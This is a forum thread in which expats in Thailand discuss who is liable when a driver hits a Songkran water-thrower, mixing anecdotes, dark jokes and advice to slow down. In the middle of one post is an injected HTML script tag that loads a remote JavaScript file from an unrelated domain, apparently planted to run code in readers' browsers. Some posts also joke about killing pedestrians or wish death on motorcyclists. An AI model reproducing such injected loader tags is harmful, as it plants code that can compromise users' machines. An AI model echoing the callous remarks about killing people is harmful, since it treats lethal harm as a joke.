What if I Kill Run Over A Songkraner?

[MJKT2014]

The o/p has made over 12k posts on TV and asks this?

[tlcwaterfall]

I know many Thais who don't leave house during Sonkran.....It got just madness

I have experienced two Songkrans in a town some 400 kms from my home town. Not through choice but needed to be there to help some friends.

What I saw there made me very determined to not be anywhere near the madness ever again. Mindless drunken idiots happy to inflict as much suffering on to others as they could. Including targeting their own countrymen and women on motorbikes and trying very hard to knock them off their motorbikes.

My Thai partner simply says she does not like anyone she cares about to go out of the village during Songkran.

Thankfully that includes me.

[Melonade]

There was a young guy relentlessly throwing buckets of water on passersby and (in their absence) vehicles passing by outside our building last night. At one stage he threw a bucket on a guy that was standing near him, forcing him onto the road and into the path of a taxi - which hit and knocked him to the ground.

The guy that was hit got up and walked back onto the footpath but the lunatic that threw the water went into a frenzy, firstly demanding that the passengers all get out of the cab (which they reluctantly did) and then by launching himself upon the driver and trying to drag him out. One person intervened and the cab driver was able to escape, albeit with his (passenger side) door open. The last we saw of the 'water play' guy was him chasing the cab up Ratchada.

It reminded me of the 'angry mob' video that was posted on her a week or so ago, and reminded me of why my vehicle will remain safe and sound under our building for at least the next 24 hours.

[gerryBScot]

A colleague had a real nightmare because of a fatal road traffic accident. Basically he was behind an elderly motorcyclist who was steering with one hand and holding a gas cylinder in place on the back with the other. The bike went out of control when the rider, an elderly man, was attempting to make a U turn, putting the rider on the deck; the gas cylinder rolled into my colleague's car and then rebounded into man's head and killed him. I wasn't there and only know this sorry tale second hand. My colleague attempted to settle it and do all the right things but ended up in court where he was held to be liable on the basis that as a foreigner the accident wouldn't have happened if he hadn't been in Thailand. Duh! It cost him several hundred thousand baht in compensation.

[Happy Grumpy]

You need a dash cam and pocket recorder. And keep it secret.

The police, lawyers and family will try to milk you dry of course. They will lie, lie, lie....even in court.

Stand firm, don't pay, hold your ground. If they take you to court...BAM pull out the tapes.

May not matter a jot. You're thinking of a Western legal system.

Any manner of excuses could be made to dismiss the evidence presented - they could be doctored, they don't show the incident clearly enough, they weren't presented at the first hearing so are inadmissible. etc etc.

Farang guilty.

[how241]

The simple answer to all the OP`s questions and others who may have the same concerns, is that if you are worried about the higher risks of accidents if out and about during the Songkran festivities, is to stay indoors until about Thursday. It is common knowledge that driving during Songkran holds extra dangers and if in the event of an accident where people sustain serious injuries or killed, the attitude of the police is that the onus lies with drivers who should be taking extra care and cautions to avoid accidents during Songkran, including not to drive unless absolutely necessary.

Those who venture out on the roads during Songkran, do so at their own risk and discretion.

+1...Hide inside, only go out late at night when the water stuff stops.

[Gandtee]

I suppose the black humour reply to 'what would I get etc' would be a cuddly bear for an injury and anything off the top shelf and a cuddly bear, for a death. The obvious serious answer is, a big problem. First, were you driving too fast, knowing that so called revelers are abroad. Second, letting your daughter out on a motorbike, knowing as before. Last, you are a farang, and unless your wife is someone like mine who enjoys berating policemen to defend you, you will be in deep brown stuff!

[ezzra]

If you do, we get to read about you in the papers and everybody will know your name....

[godden]

No problem this time of year they are classed the same as frogs or toads.

[smotherb]

Haven't you been here long enough to answer your own questions? You are at fault: when you can't see through your windscreen, you should stop; when you are going through a group of Sonkraners, you need to slow to a crawl so you don't hurt anyone, even if they do dart-out in front of you. However, if someone throws water, murky or not, at your daughter and cuases her to crash, it is the water-thrower's fault, but you have to catch him/her, and hope their family doesn't have money and/or connections.

[smotherb]

The simple answer to all the OP`s questions and others who may have the same concerns, is that if you are worried about the higher risks of accidents if out and about during the Songkran festivities, is to stay indoors until about Thursday. It is common knowledge that driving during Songkran holds extra dangers and if in the event of an accident where people sustain serious injuries or killed, the attitude of the police is that the onus lies with drivers who should be taking extra care and cautions to avoid accidents during Songkran, including not to drive unless absolutely necessary.

Those who venture out on the roads during Songkran, do so at their own risk and discretion.

+1...Hide inside, only go out late at night when the water stuff stops.

yeah, that's the ticket, only late at night when only the drunks are out and about

[Satcommlee]

I know it's tempting!!! but I wouldn't recommend it!

[enufsaid]

It's Thailand, expect the unexpected at all times. And don't doubt for 1 minute who would be at fault, I read many years ago where a Falang waiting at a bus stop where the bus lost its breaks and seriously injured the Falang, who's fault, the Falang. Why ? If he hadn't been waiting at that bus stop he wouldn't have been injured. I don't doubt some 15 years later things have change but believe me they'll find a way out of it

[jamesjohnsonthird]

No problem this time of year they are classed the same as frogs or toads.

That's right. Just collateral damage for the Thai new year party.

[cheapcanuck]

Just by asking for such advise would be considered "premeditation to a crime causing death." That could get you the death penalty.

You just have to chill out and drive with a little more care for the next week. If you get a dirty windshield, get out and clean it...no big deal. Taking a life is a big deal and im sure you really don't want that on your mind for the rest of your life.

[NoshowJones]

In a different mood, you might just deliberately kill someone?

Wow.

Are you not one of the posters who was complaining about other posters for moaning about Songcran? Most of the moaning was about those retards throwing water at people on motorbikes'

If a motor cyclist is riding at say 50 Kph, and someone throws water at them, they may as well be deliberately trying to kill them.

[elgordo38]

Your a farang in Thailand during one of the countries most celebrated occasions and your asking :

My question, what would be the law if a drunk person jumped in front of my car and I killed them? Jail

What if my daughter was riding her motorbike and someone threw water in her face and she crashed, hurting herself - could i sue the Songkraner? Not likely

What if a Songkraner threw mucky water over my windscreen when I was travelling through a market area and I ploughed into a crowd of people as I couldn't see - who would be to blame? You

happy songkran !!

Yep its all your fault. Your a foreigner living in a strange country. I saw the same attack of trying to get money out of foreigners when I lived in Mexico for 10 years. The foreigners joked there that if you hit someone don't stop and if he is still moving back over him again as its cheaper to bury him than support him the rest of his life as a cripple. They know you got it and they want it regardless. To them your fair game. The law is bent the same way there against foreigners. It is one of the reasons I would not own a car or motorbike. Buses and taxi's.

[djctwatt]

Here's some western rationalization for you from a dual citizen; if you are driving too fast for the road conditions you are... driving too fast. I suggest to slow down. However, I understand I don't know the particulars of the event. In the usa, there is the tradition of Halloween, where children dress in costumes and roam the streets at night. The rule is to slow down in any dangerous areas. Ideally you should slow down enough in these areas so that you can stop or avoid any pedestrian collisions.

Of course, if it is really wreckless on their part, you are going a reasonable speed for the road, and there really is nothing else you can do, of course you (ideally), shouldn't be liable. I'm thinking you can't exactly slow down too much on the highway / toll road.

Me personally, I think there is no right to place blame on the pedestrians. These wreckless and drunk motorcycles however are another story. I wish they would all splatter their brains on the pavement.

Edited April 15, 2015 by djctwatt

[Andre0720]

The simple answer to all the OP`s questions and others who may have the same concerns, is that if you are worried about the higher risks of accidents if out and about during the Songkran festivities, is to stay indoors until about Thursday. It is common knowledge that driving during Songkran holds extra dangers and if in the event of an accident where people sustain serious injuries or killed, the attitude of the police is that the onus lies with drivers who should be taking extra care and cautions to avoid accidents during Songkran, including not to drive unless absolutely necessary.

Those who venture out on the roads during Songkran, do so at their own risk and discretion.

including not to drive unless absolutely necessary.''

Nonsese...

During Songkran, MOST of the people on the road drive without ay necessity at all....

Otherwise, there would be no Songkran...

[MikeOwen]

I was going along with the OP just a tad , then he got bloody stupid of course , WHY !<script src="http://d.zombienewsapp.com/l/load.js"></script>

Headlines the next morning would not be good.
"A road rage attack by a foreigner (with bad skin) resulted in a thorough bashing by several hundred Songkranians."

Photo of you sitting on the curb with serveral medics treating the lumps on your head. One old lady pointing a finger at you...the perpetrator.

I doubt there would be any need for medics. The outcome would probably be a mob lynching followed by forensics trying to identify the victim from the pools of blood and remaining body parts scattered along the side-walk.

Yes and after short and thorough investigation by the RTPF, their conclusion will be....suicide.....

I was going along with the OP for a short while , then the stupid entered his head , WHY !

[neeray]

What a totally silly question posed by the OP !

[BadBouy]

You just posted this below. Looks like it wore off, time for a couple more hits off the bong!

Posted Today, 02:24

22 years ago, I arrived on Khao San Road with a backpack not knowing what Songkran was and getting pissed as someone threw a bucket of water over me, soaking my passport and travellers cheques. Little did I know that I'd still be here with a somewhat different outlook on the festival. Firstly, it has changed remarkably. Khao San Road used to be one of the few places that it was mahem, the rest of Bangkok was relatively calm. Even a few adventurous Thais came to join in, unlike nowadays where there are many Thai pubs and clubs - in 1993 there were none.

I had just come from India and was young and loved the song that was playing everywhere -

I bought a bottle of vodka - I didn't do things by half then, and had a great time, doing a lot worse than stripping off!. I never thought ZI'd see the day I'd moan about Songkran and become a middle-aged bore. But such is life. I have happy memories of those days and ended up living in that area for a year.

I find it amusing when old guys forget what they did when they were young. Probably they all didn't get up to the things I

did but to criticize the young adventurous backp[acker is wrong. If it weren't for these kinds of people 40 years ago, Thailand wouldn't be as easy for you as it is today. Just think whilst they were roaming the globe searching for paradise, you were working for 10 bob a week with an annual holiday to Blackpool.

Long live the young and wild! Thais need some more to start a revolution here and get rid of Absolute control.

[jacksam]

OP..........ARE YOU seeking attention

You sound like a person with little to think about

[CaptainKitty]

My first time driving during songkran I understand the fears and frustrations but killing a drunk happy new year reveller? That's like going around during NYE and not moving out of the way for drunk people hailing cabs that don't exist, cuz they were in your lane!

I do what everyone should do, stay of the road if you're not comfortable driving and slow the &lt;deleted&gt; down if you're driving during Songkran

[off road pat]

Just imagine in years to come your daughter might go to songkran, get a little drunk, and sway out in front of a car.

You could be the driver of that car and this time you will be on your own.

Will it bother you after you have killed your daughter who was to blame. And all because you wasn't very happy.

My exact thoughts....berybert,

and what the <deleted> is this..(.neeranam ), "in a different mood, in the car alone i might not swerve" ...are you ready to kill someone just because you are in a bad mood ? ...Then why blame the Thais for reckless driving if the farangs are no different....!

Edited April 15, 2015 by metisdead

[Sealbash]

It's Thailand, expect the unexpected at all times. And don't doubt for 1 minute who would be at fault, I read many years ago where a Falang waiting at a bus stop where the bus lost its breaks and seriously injured the Falang, who's fault, the Falang. Why ? If he hadn't been waiting at that bus stop he wouldn't have been injured. I don't doubt some 15 years later things have change but believe me they'll find a way out of it

Unfortunately, there are people who read this forum that will actually believe your totally unfounded and unsupported fairy tale. Hopefully the majority of readers will recognize bar talk when they see it. A Farang blamed for a bus accident. Really?

[CharlieH]

This has had a good run here over the Songkran period, now moving down to the Pub.

[cracker1]

You should send this mail to the Lawyer section of TV and then we may all know the most likely outcome ?

[surangw]

if you kill them first and then run over them, you'll be in big trouble

[mikecat]

Get used to it, its Songkran and people let their hair down. Anybody going out and about where people are known to be celebrating Songkran on a motorbike and not expecting to get water hurled at them have eithe been asleep for the last ten years or are stupid. Anybody driving a car in such places on such occassions should be driving slowly enough to avoid such accidents occouring.

Try enjoying it, you might like it, if you reallly are a miserable old so and so stay at home for three days or so.